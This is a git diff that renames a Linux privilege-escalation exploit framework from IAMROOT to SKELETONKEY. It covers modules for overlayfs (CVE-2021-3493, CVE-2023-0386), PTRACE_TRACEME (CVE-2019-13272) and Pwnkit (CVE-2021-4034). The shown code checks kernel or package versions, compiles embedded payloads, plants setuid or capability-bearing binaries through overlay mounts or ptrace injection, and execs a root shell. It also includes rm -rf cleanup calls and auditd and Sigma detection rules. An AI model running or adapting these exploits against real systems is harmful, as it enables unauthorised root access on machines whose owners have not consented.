fprintf(stderr, "[+] overlayfs: not Ubuntu — bug is Ubuntu-specific\n");
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* unprivileged_userns_clone gate */
@@ -144,7 +144,7 @@ static iamroot_result_t overlayfs_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] overlayfs: unprivileged_userns_clone=0 → "
"unprivileged exploit unreachable\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
@@ -161,14 +161,14 @@ static iamroot_result_t overlayfs_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[!] overlayfs: ACTIVE PROBE CONFIRMED — "
"userns overlayfs mount succeeded → VULNERABLE\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
if (probe == 0) {
if (!ctx->json) {
fprintf(stderr, "[+] overlayfs: active probe denied mount — "
"likely patched / AppArmor block\n");
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (!ctx->json) {
fprintf(stderr, "[?] overlayfs: active probe machinery failed\n");
@@ -185,14 +185,14 @@ static iamroot_result_t overlayfs_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[!] overlayfs: Ubuntu kernel %s in vulnerable range — "
"re-run with --active to confirm\n", v.release);
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
if (!ctx->json) {
fprintf(stderr, "[+] overlayfs: Ubuntu kernel %s is newer than typical "
"affected range\n", v.release);
fprintf(stderr, "[i] overlayfs: re-run with --active to empirically test\n");
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* ---- Exploit (vsh-style) ----------------------------------------
@@ -278,28 +278,28 @@ static bool which_gcc(char *out_path, size_t outsz)
return false;
}
static iamroot_result_t overlayfs_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t overlayfs_exploit(const struct skeletonkey_ctx *ctx)
{
/* Re-confirm vulnerable. */
iamroot_result_t pre = overlayfs_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = overlayfs_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] overlayfs: detect() says not vulnerable; refusing\n");
return pre;
}
if (geteuid() == 0) {
fprintf(stderr, "[i] overlayfs: already root — nothing to escalate\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
char workdir[] = "/tmp/iamroot-ovl-XXXXXX";
if (!mkdtemp(workdir)) { perror("mkdtemp"); return IAMROOT_TEST_ERROR; }
char workdir[] = "/tmp/skeletonkey-ovl-XXXXXX";
if (!mkdtemp(workdir)) { perror("mkdtemp"); return SKELETONKEY_TEST_ERROR; }
if (!ctx->json) fprintf(stderr, "[*] overlayfs: workdir = %s\n", workdir);
char gcc[256];
if (!which_gcc(gcc, sizeof gcc)) {
fprintf(stderr, "[-] overlayfs: no gcc/cc — exploit needs to compile a payload\n");
rmdir(workdir);
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
char src_path[1100], bin_path[1100];
@@ -307,10 +307,10 @@ static iamroot_result_t overlayfs_exploit(const struct iamroot_ctx *ctx)
snprintf(bin_path, sizeof bin_path, "%s/payload", workdir);
int fd = open(src_path, O_WRONLY | O_CREAT | O_TRUNC, 0644);
if (fd < 0) { perror("open payload.c"); rmdir(workdir); return IAMROOT_TEST_ERROR; }
if (fd < 0) { perror("open payload.c"); rmdir(workdir); return SKELETONKEY_TEST_ERROR; }
if (write(fd, OVERLAYFS_PAYLOAD_SOURCE, sizeof(OVERLAYFS_PAYLOAD_SOURCE) - 1)
!= (ssize_t)(sizeof(OVERLAYFS_PAYLOAD_SOURCE) - 1)) {
close(fd); unlink(src_path); rmdir(workdir); return IAMROOT_TEST_ERROR;
close(fd); unlink(src_path); rmdir(workdir); return SKELETONKEY_TEST_ERROR;
}
close(fd);
@@ -432,7 +432,7 @@ static iamroot_result_t overlayfs_exploit(const struct iamroot_ctx *ctx)
if (ctx->no_shell) {
fprintf(stderr, "[+] overlayfs: --no-shell — payload at %s, not exec'ing\n",
upper_bin);
return IAMROOT_EXPLOIT_OK;
return SKELETONKEY_EXPLOIT_OK;
}
fflush(NULL);
execl(upper_bin, upper_bin, (char *)NULL);
@@ -443,7 +443,7 @@ fail_workdir:
unlink(src_path); unlink(bin_path); unlink(upper_bin);
rmdir(merged); rmdir(work); rmdir(upper); rmdir(lower);
rmdir(workdir);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
/* ----- Embedded detection rules ----- */
@@ -451,12 +451,12 @@ fail_workdir:
static const char overlayfs_auditd[] =
"# overlayfs userns LPE (CVE-2021-3493) — auditd detection rules\n"
"# Flag userns-clone followed by overlayfs mount + setcap-like xattr.\n"
"-a always,exit -F arch=b64 -S mount -F a2=overlay -k iamroot-overlayfs\n"
"-a always,exit -F arch=b32 -S mount -F a2=overlay -k iamroot-overlayfs\n"
"-a always,exit -F arch=b64 -S mount -F a2=overlay -k skeletonkey-overlayfs\n"
"-a always,exit -F arch=b32 -S mount -F a2=overlay -k skeletonkey-overlayfs\n"
"# Watch for security.capability xattr writes (the post-mount step)\n"
"-a always,exit -F arch=b64 -S setxattr,fsetxattr,lsetxattr -k iamroot-overlayfs-cap\n";
"-a always,exit -F arch=b64 -S setxattr,fsetxattr,lsetxattr -k skeletonkey-overlayfs-cap\n";
const struct iamroot_module overlayfs_module = {
const struct skeletonkey_module overlayfs_module = {
.name = "overlayfs",
.cve = "CVE-2021-3493",
.summary = "Ubuntu userns-overlayfs file-capability injection → host root",
@@ -473,7 +473,7 @@ const struct iamroot_module overlayfs_module = {
.detect_falco = NULL,
};
void iamroot_register_overlayfs(void)
void skeletonkey_register_overlayfs(void)
{
iamroot_register(&overlayfs_module);
skeletonkey_register(&overlayfs_module);
}
@@ -0,0 +1,12 @@
/*
* overlayfs_cve_2021_3493 — SKELETONKEY module registry hook
*/
#ifndef OVERLAYFS_SKELETONKEY_MODULES_H
#define OVERLAYFS_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module overlayfs_module;
#endif
@@ -16,7 +16,7 @@ Public PoC + writeup:
Upstream fix: mainline 6.2-rc6 (commit `4f11ada10d0a`, Jan 2023).
Branch backports: 5.10.169 / 5.15.92 / 6.1.11.
## IAMROOT role
## SKELETONKEY role
Distro-agnostic — no per-kernel offsets, no race. Places a setuid
binary in an overlay lower, mounts via fuse-overlayfs userns trick,
@@ -1,12 +0,0 @@
/*
* overlayfs_setuid_cve_2023_0386 — IAMROOT module registry hook
*/
#ifndef OVERLAYFS_SETUID_IAMROOT_MODULES_H
#define OVERLAYFS_SETUID_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module overlayfs_setuid_module;
#endif
@@ -1,5 +1,5 @@
/*
* overlayfs_setuid_cve_2023_0386 IAMROOT module
* overlayfs_setuid_cve_2023_0386 SKELETONKEY module
*
* **Different bug than CVE-2021-3493.** That one was Ubuntu-specific
* (their modified overlayfs). This one is upstream: when overlayfs
@@ -38,7 +38,7 @@
* for any distro running 5.11-6.2 kernels. Container-escape relevant.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
@@ -96,12 +96,12 @@ static const char *find_setuid_in_lower(void)
return NULL;
}
static iamroot_result_t overlayfs_setuid_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t overlayfs_setuid_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] overlayfs_setuid: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* Bug introduced in 5.11 when ovl copy-up was generalized.
@@ -111,7 +111,7 @@ static iamroot_result_t overlayfs_setuid_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] overlayfs_setuid: kernel %s predates the bug "
"(introduced in 5.11)\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
bool patched = kernel_range_is_patched(&overlayfs_setuid_range, &v);
@@ -119,7 +119,7 @@ static iamroot_result_t overlayfs_setuid_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] overlayfs_setuid: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns_mount();
@@ -134,7 +134,7 @@ static iamroot_result_t overlayfs_setuid_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] overlayfs_setuid: user_ns denied → unprivileged exploit unreachable\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
const char *target = find_setuid_in_lower();
@@ -142,13 +142,13 @@ static iamroot_result_t overlayfs_setuid_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[?] overlayfs_setuid: no setuid binary found in standard paths\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] overlayfs_setuid: VULNERABLE — exploit target = %s\n", target);
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
/* ---- Embedded payload + exploit ---------------------------------- */
@@ -190,16 +190,16 @@ static bool write_file_str(const char *path, const char *content)
return ok;
}
static iamroot_result_t overlayfs_setuid_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t overlayfs_setuid_exploit(const struct skeletonkey_ctx *ctx)
{
iamroot_result_t pre = overlayfs_setuid_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = overlayfs_setuid_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] overlayfs_setuid: detect() says not vulnerable; refusing\n");
return pre;
}
if (geteuid() == 0) {
fprintf(stderr, "[i] overlayfs_setuid: already root\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* Pick a setuid binary to use as the carrier — we'll find its
@@ -209,20 +209,20 @@ static iamroot_result_t overlayfs_setuid_exploit(const struct iamroot_ctx *ctx)
const char *carrier = find_setuid_in_lower();
if (!carrier) {
fprintf(stderr, "[-] overlayfs_setuid: no setuid carrier binary found\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
/* For cleanliness, use a directory-level overlay. Find the carrier's
* dirname. (E.g., /usr/bin/su lower = /usr/bin/, file = su) */
char carrier_dir[256], carrier_name[64];
const char *slash = strrchr(carrier, '/');
if (!slash) return IAMROOT_PRECOND_FAIL;
if (!slash) return SKELETONKEY_PRECOND_FAIL;
size_t dir_len = slash - carrier;
memcpy(carrier_dir, carrier, dir_len);
carrier_dir[dir_len] = 0;
snprintf(carrier_name, sizeof carrier_name, "%s", slash + 1);
char workdir[] = "/tmp/iamroot-ovlsu-XXXXXX";
if (!mkdtemp(workdir)) { perror("mkdtemp"); return IAMROOT_TEST_ERROR; }
char workdir[] = "/tmp/skeletonkey-ovlsu-XXXXXX";
if (!mkdtemp(workdir)) { perror("mkdtemp"); return SKELETONKEY_TEST_ERROR; }
if (!ctx->json) {
fprintf(stderr, "[*] overlayfs_setuid: workdir=%s carrier=%s\n",
workdir, carrier);
@@ -232,7 +232,7 @@ static iamroot_result_t overlayfs_setuid_exploit(const struct iamroot_ctx *ctx)
if (!which_gcc(gcc, sizeof gcc)) {
fprintf(stderr, "[-] overlayfs_setuid: no gcc/cc available\n");
rmdir(workdir);
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
/* Build the payload binary outside the overlay. */
@@ -348,7 +348,7 @@ static iamroot_result_t overlayfs_setuid_exploit(const struct iamroot_ctx *ctx)
if (ctx->no_shell) {
fprintf(stderr, "[+] overlayfs_setuid: --no-shell — file planted at %s\n",
upper_carrier);
return IAMROOT_EXPLOIT_OK;
return SKELETONKEY_EXPLOIT_OK;
}
fflush(NULL);
execl(upper_carrier, upper_carrier, (char *)NULL);
@@ -358,26 +358,26 @@ fail:
unlink(src_path); unlink(bin_path);
rmdir(upper); rmdir(work); rmdir(merged);
rmdir(workdir);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
static iamroot_result_t overlayfs_setuid_cleanup(const struct iamroot_ctx *ctx)
static skeletonkey_result_t overlayfs_setuid_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
if (!ctx->json) {
fprintf(stderr, "[*] overlayfs_setuid: removing /tmp/iamroot-ovlsu-*\n");
fprintf(stderr, "[*] overlayfs_setuid: removing /tmp/skeletonkey-ovlsu-*\n");
}
if (system("rm -rf /tmp/iamroot-ovlsu-* 2>/dev/null") != 0) { /* harmless */ }
return IAMROOT_OK;
if (system("rm -rf /tmp/skeletonkey-ovlsu-* 2>/dev/null") != 0) { /* harmless */ }
return SKELETONKEY_OK;
}
static const char overlayfs_setuid_auditd[] =
"# overlayfs setuid copy-up (CVE-2023-0386) — auditd detection rules\n"
"# Same surface as CVE-2021-3493; share the iamroot-overlayfs key.\n"
"-a always,exit -F arch=b64 -S mount -F a2=overlay -k iamroot-overlayfs\n"
"-a always,exit -F arch=b64 -S chown,fchown,fchownat -k iamroot-overlayfs-chown\n";
"# Same surface as CVE-2021-3493; share the skeletonkey-overlayfs key.\n"
"-a always,exit -F arch=b64 -S mount -F a2=overlay -k skeletonkey-overlayfs\n"
"-a always,exit -F arch=b64 -S chown,fchown,fchownat -k skeletonkey-overlayfs-chown\n";
const struct iamroot_module overlayfs_setuid_module = {
const struct skeletonkey_module overlayfs_setuid_module = {
.name = "overlayfs_setuid",
.cve = "CVE-2023-0386",
.summary = "overlayfs copy-up preserves setuid bit → host root via setuid carrier",
@@ -393,7 +393,7 @@ const struct iamroot_module overlayfs_setuid_module = {
.detect_falco = NULL,
};
void iamroot_register_overlayfs_setuid(void)
void skeletonkey_register_overlayfs_setuid(void)
{
iamroot_register(&overlayfs_setuid_module);
skeletonkey_register(&overlayfs_setuid_module);
}
@@ -0,0 +1,12 @@
/*
* overlayfs_setuid_cve_2023_0386 — SKELETONKEY module registry hook
*/
#ifndef OVERLAYFS_SETUID_SKELETONKEY_MODULES_H
#define OVERLAYFS_SETUID_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module overlayfs_setuid_module;
#endif
@@ -15,7 +15,7 @@ Upstream fix: mainline 5.1.17 (commit `6994eefb0053`, June 2019).
Branch backports: 4.4.182 / 4.9.182 / 4.14.131 / 4.19.58 / 5.0.20 / 5.1.17.
## IAMROOT role
## SKELETONKEY role
Full jannh-style chain: fork → child `PTRACE_TRACEME` → child
sleep+attach → parent `execve` setuid bin (pkexec/su/passwd
@@ -1,12 +0,0 @@
/*
* ptrace_traceme_cve_2019_13272 — IAMROOT module registry hook
*/
#ifndef PTRACE_TRACEME_IAMROOT_MODULES_H
#define PTRACE_TRACEME_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module ptrace_traceme_module;
#endif
@@ -1,5 +1,5 @@
/*
* ptrace_traceme_cve_2019_13272 IAMROOT module
* ptrace_traceme_cve_2019_13272 SKELETONKEY module
*
* PTRACE_TRACEME on a parent that subsequently execve's a setuid
* binary results in the kernel granting ptrace privileges over the
@@ -26,7 +26,7 @@
* vulnerable.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
@@ -61,12 +61,12 @@ static const struct kernel_range ptrace_traceme_range = {
sizeof(ptrace_traceme_patched_branches[0]),
};
static iamroot_result_t ptrace_traceme_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t ptrace_traceme_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] ptrace_traceme: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* Bug existed since ptrace's inception (early 2.x); anything
@@ -77,7 +77,7 @@ static iamroot_result_t ptrace_traceme_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[!] ptrace_traceme: ancient kernel %s — assume VULNERABLE\n",
v.release);
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
bool patched = kernel_range_is_patched(&ptrace_traceme_range, &v);
@@ -85,14 +85,14 @@ static iamroot_result_t ptrace_traceme_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] ptrace_traceme: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (!ctx->json) {
fprintf(stderr, "[!] ptrace_traceme: kernel %s in vulnerable range\n", v.release);
fprintf(stderr, "[i] ptrace_traceme: no exotic preconditions — works on default config "
"(no user_ns required)\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
/* ---- Exploit (jannh-style) --------------------------------------
@@ -118,14 +118,14 @@ static iamroot_result_t ptrace_traceme_detect(const struct iamroot_ctx *ctx)
* shellcode that exec's /bin/sh.
* 10. C resumes P root shell.
*
* IAMROOT implementation simplifies by using a small architecture-
* SKELETONKEY implementation simplifies by using a small architecture-
* specific shellcode (x86_64 only) and pkexec as the setuid binary
* trigger (works on most Linux systems with polkit installed). Falls
* back to /bin/su if pkexec isn't available.
*
* Reliability: this exploit can fail-race on heavily-loaded systems.
* Repeat invocations usually succeed; we don't loop here operator
* can retry. Returns IAMROOT_EXPLOIT_FAIL on miss, IAMROOT_EXPLOIT_OK
* can retry. Returns SKELETONKEY_EXPLOIT_FAIL on miss, SKELETONKEY_EXPLOIT_OK
* on root acquired (followed by execlp(sh) which never returns).
*/
@@ -170,28 +170,28 @@ static const char *find_setuid_target(void)
return NULL;
}
static iamroot_result_t ptrace_traceme_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t ptrace_traceme_exploit(const struct skeletonkey_ctx *ctx)
{
#if !defined(__x86_64__)
(void)ctx;
fprintf(stderr, "[-] ptrace_traceme: exploit is x86_64-only "
"(shellcode is arch-specific)\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
#else
iamroot_result_t pre = ptrace_traceme_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = ptrace_traceme_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] ptrace_traceme: detect() says not vulnerable; refusing\n");
return pre;
}
if (geteuid() == 0) {
fprintf(stderr, "[i] ptrace_traceme: already root\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
const char *setuid_bin = find_setuid_target();
if (!setuid_bin) {
fprintf(stderr, "[-] ptrace_traceme: no setuid trigger binary available\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[*] ptrace_traceme: setuid trigger = %s\n", setuid_bin);
@@ -199,7 +199,7 @@ static iamroot_result_t ptrace_traceme_exploit(const struct iamroot_ctx *ctx)
/* fork: child becomes tracee-of-self setup, parent execve's setuid bin */
pid_t child = fork();
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) {
/* CHILD: set up the ptrace_link, then pause until parent has
@@ -273,7 +273,7 @@ static iamroot_result_t ptrace_traceme_exploit(const struct iamroot_ctx *ctx)
perror("execve setuid");
int status;
waitpid(child, &status, 0);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
#endif
}
@@ -281,10 +281,10 @@ static const char ptrace_traceme_auditd[] =
"# PTRACE_TRACEME LPE (CVE-2019-13272) — auditd detection rules\n"
"# Flag PTRACE_TRACEME (request 0) followed by parent execve of\n"
"# a setuid binary. False positives: gdb, strace, debuggers.\n"
"-a always,exit -F arch=b64 -S ptrace -F a0=0 -k iamroot-ptrace-traceme\n"
"-a always,exit -F arch=b32 -S ptrace -F a0=0 -k iamroot-ptrace-traceme\n";
"-a always,exit -F arch=b64 -S ptrace -F a0=0 -k skeletonkey-ptrace-traceme\n"
"-a always,exit -F arch=b32 -S ptrace -F a0=0 -k skeletonkey-ptrace-traceme\n";
const struct iamroot_module ptrace_traceme_module = {
const struct skeletonkey_module ptrace_traceme_module = {
.name = "ptrace_traceme",
.cve = "CVE-2019-13272",
.summary = "PTRACE_TRACEME → setuid binary execve → cred-escalation via ptrace inject",
@@ -300,7 +300,7 @@ const struct iamroot_module ptrace_traceme_module = {
.detect_falco = NULL,
};
void iamroot_register_ptrace_traceme(void)
void skeletonkey_register_ptrace_traceme(void)
{
iamroot_register(&ptrace_traceme_module);
skeletonkey_register(&ptrace_traceme_module);
}
@@ -0,0 +1,12 @@
/*
* ptrace_traceme_cve_2019_13272 — SKELETONKEY module registry hook
*/
#ifndef PTRACE_TRACEME_SKELETONKEY_MODULES_H
#define PTRACE_TRACEME_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module ptrace_traceme_module;
#endif
+2 -2
View File
@@ -25,10 +25,10 @@ polkit until 0.121 (or distro backport).
- Debian: 0.105-31+deb11u1 (bullseye), 0.105-26+deb10u1 (buster)
- RHEL: polkit-0.115-13.el7_9 (RHEL 7), polkit-0.117-9.el8_5.1 (RHEL 8)
## IAMROOT detect logic (current)
## SKELETONKEY detect logic (current)
1. Resolve pkexec binary (`/usr/bin/pkexec` or `which pkexec`)
2. If not present → IAMROOT_OK (no attack surface)
2. If not present → SKELETONKEY_OK (no attack surface)
3. Run `pkexec --version` and parse version
4. Compare to known-fixed thresholds; report VULNERABLE if below
+2 -2
View File
@@ -14,7 +14,7 @@ Original advisory:
Upstream fix: polkit 0.121 (Jan 2022).
## IAMROOT role
## SKELETONKEY role
The exploit module follows the canonical Qualys-style chain: writes
payload.c + gconv-modules cache, compiles via the target's gcc,
@@ -22,4 +22,4 @@ execve's pkexec with NULL argv and crafted envp. Handles both the
legacy ("0.105") and modern ("126") polkit version string formats.
Falls back gracefully on hosts without a compiler.
This is IAMROOT's first **userspace** LPE — not a kernel bug.
This is SKELETONKEY's first **userspace** LPE — not a kernel bug.
@@ -1,12 +0,0 @@
/*
* pwnkit_cve_2021_4034 — IAMROOT module registry hook
*/
#ifndef PWNKIT_IAMROOT_MODULES_H
#define PWNKIT_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module pwnkit_module;
#endif
@@ -1,5 +1,5 @@
/*
* pwnkit_cve_2021_4034 IAMROOT module
* pwnkit_cve_2021_4034 SKELETONKEY module
*
* STATUS: 🔵 DETECT-ONLY (2026-05-16). Full exploit follows.
*
@@ -13,15 +13,15 @@
* embedded .so generator) is well-documented; landing it is a
* follow-up commit.
*
* Pwnkit is the first USERSPACE LPE in IAMROOT the rest of the
* Pwnkit is the first USERSPACE LPE in SKELETONKEY the rest of the
* corpus is kernel bugs. The module shape is identical (same
* iamroot_module interface), but the affected-version check is
* skeletonkey_module interface), but the affected-version check is
* package-version-based rather than kernel-version-based. core/
* may eventually grow a `pkg_version` helper if a few more userspace
* modules need it.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include <stdio.h>
@@ -74,14 +74,14 @@ static bool pkexec_version_vulnerable(const char *version_str)
return min < 121; /* 0.121 is the fix */
}
static iamroot_result_t pwnkit_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t pwnkit_detect(const struct skeletonkey_ctx *ctx)
{
const char *pkexec_path = find_pkexec();
if (!pkexec_path) {
if (!ctx->json) {
fprintf(stderr, "[+] pwnkit: pkexec not installed; no attack surface\n");
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (!ctx->json) {
fprintf(stderr, "[i] pwnkit: found setuid pkexec at %s\n", pkexec_path);
@@ -92,7 +92,7 @@ static iamroot_result_t pwnkit_detect(const struct iamroot_ctx *ctx)
char cmd[512];
snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", pkexec_path);
FILE *p = popen(cmd, "r");
if (!p) return IAMROOT_TEST_ERROR;
if (!p) return SKELETONKEY_TEST_ERROR;
char line[256] = {0};
char *r = fgets(line, sizeof line, p);
@@ -101,12 +101,12 @@ static iamroot_result_t pwnkit_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[?] pwnkit: could not parse pkexec --version output\n");
}
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* Output format: "pkexec version 0.105\n" or "pkexec version 0.120-..." */
char *vp = strstr(line, "version");
if (!vp) return IAMROOT_TEST_ERROR;
if (!vp) return SKELETONKEY_TEST_ERROR;
vp += strlen("version");
while (*vp == ' ' || *vp == '\t') vp++;
@@ -124,12 +124,12 @@ static iamroot_result_t pwnkit_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[i] pwnkit: distro backports may have fixed lower-numbered versions;\n"
" check `apt-cache policy policykit-1` / `rpm -q polkit` for the patch level\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
if (!ctx->json) {
fprintf(stderr, "[+] pwnkit: pkexec version is ≥ 0.121 (fixed)\n");
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* ---- Pwnkit exploit (canonical Qualys-style PoC) -----------------
@@ -203,29 +203,29 @@ static bool write_file_str(const char *path, const char *content)
return ok;
}
static iamroot_result_t pwnkit_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t pwnkit_exploit(const struct skeletonkey_ctx *ctx)
{
/* Re-confirm vulnerable before doing anything visible. */
iamroot_result_t pre = pwnkit_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = pwnkit_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] pwnkit: detect() says not vulnerable; refusing\n");
return pre;
}
const char *pkexec = find_pkexec();
if (!pkexec) return IAMROOT_PRECOND_FAIL;
if (!pkexec) return SKELETONKEY_PRECOND_FAIL;
if (geteuid() == 0) {
fprintf(stderr, "[i] pwnkit: already root — nothing to escalate\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* Working dir under /tmp. Permissive on permissions so pkexec
* (running as root) can read everything inside. */
char workdir[] = "/tmp/iamroot-pwnkit-XXXXXX";
char workdir[] = "/tmp/skeletonkey-pwnkit-XXXXXX";
if (!mkdtemp(workdir)) {
perror("mkdtemp");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
if (!ctx->json) fprintf(stderr, "[*] pwnkit: workdir = %s\n", workdir);
@@ -238,7 +238,7 @@ static iamroot_result_t pwnkit_exploit(const struct iamroot_ctx *ctx)
" that's a future enhancement (multi-arch, distro-portable).\n"
" For now: install build-essential or run on a host with cc.\n");
rmdir(workdir);
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) fprintf(stderr, "[*] pwnkit: compiler = %s\n", gcc);
@@ -339,22 +339,22 @@ fail:
snprintf(path, sizeof path, "%s/payload.c", workdir);
unlink(path);
rmdir(workdir);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
static iamroot_result_t pwnkit_cleanup(const struct iamroot_ctx *ctx)
static skeletonkey_result_t pwnkit_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
/* Best-effort: nuke any leftover iamroot-pwnkit-* dirs in /tmp.
/* Best-effort: nuke any leftover skeletonkey-pwnkit-* dirs in /tmp.
* Successful exploit cleans itself up (PWNKIT.so unlinks before
* execve /bin/sh). Failed exploit leaves the tmpdir. */
if (!ctx->json) {
fprintf(stderr, "[*] pwnkit: removing /tmp/iamroot-pwnkit-* workdirs\n");
fprintf(stderr, "[*] pwnkit: removing /tmp/skeletonkey-pwnkit-* workdirs\n");
}
if (system("rm -rf /tmp/iamroot-pwnkit-*") != 0) {
if (system("rm -rf /tmp/skeletonkey-pwnkit-*") != 0) {
/* harmless — there may not be any */
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* ----- Embedded detection rules ----- */
@@ -362,13 +362,13 @@ static iamroot_result_t pwnkit_cleanup(const struct iamroot_ctx *ctx)
static const char pwnkit_auditd[] =
"# Pwnkit (CVE-2021-4034) — auditd detection rules\n"
"# Flag pkexec execution from non-root + look for argc==0 indicators.\n"
"-w /usr/bin/pkexec -p x -k iamroot-pwnkit\n"
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/pkexec -k iamroot-pwnkit-execve\n"
"-a always,exit -F arch=b32 -S execve -F path=/usr/bin/pkexec -k iamroot-pwnkit-execve\n";
"-w /usr/bin/pkexec -p x -k skeletonkey-pwnkit\n"
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/pkexec -k skeletonkey-pwnkit-execve\n"
"-a always,exit -F arch=b32 -S execve -F path=/usr/bin/pkexec -k skeletonkey-pwnkit-execve\n";
static const char pwnkit_sigma[] =
"title: Possible Pwnkit exploitation (CVE-2021-4034)\n"
"id: 9e1d4f2c-iamroot-pwnkit\n"
"id: 9e1d4f2c-skeletonkey-pwnkit\n"
"status: experimental\n"
"description: |\n"
" Detects pkexec invocations with GCONV_PATH / CHARSET env tweaks (the\n"
@@ -387,7 +387,7 @@ static const char pwnkit_sigma[] =
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2021.4034]\n";
const struct iamroot_module pwnkit_module = {
const struct skeletonkey_module pwnkit_module = {
.name = "pwnkit",
.cve = "CVE-2021-4034",
.summary = "pkexec argv[0]=NULL → env-injection LPE (polkit ≤ 0.120)",
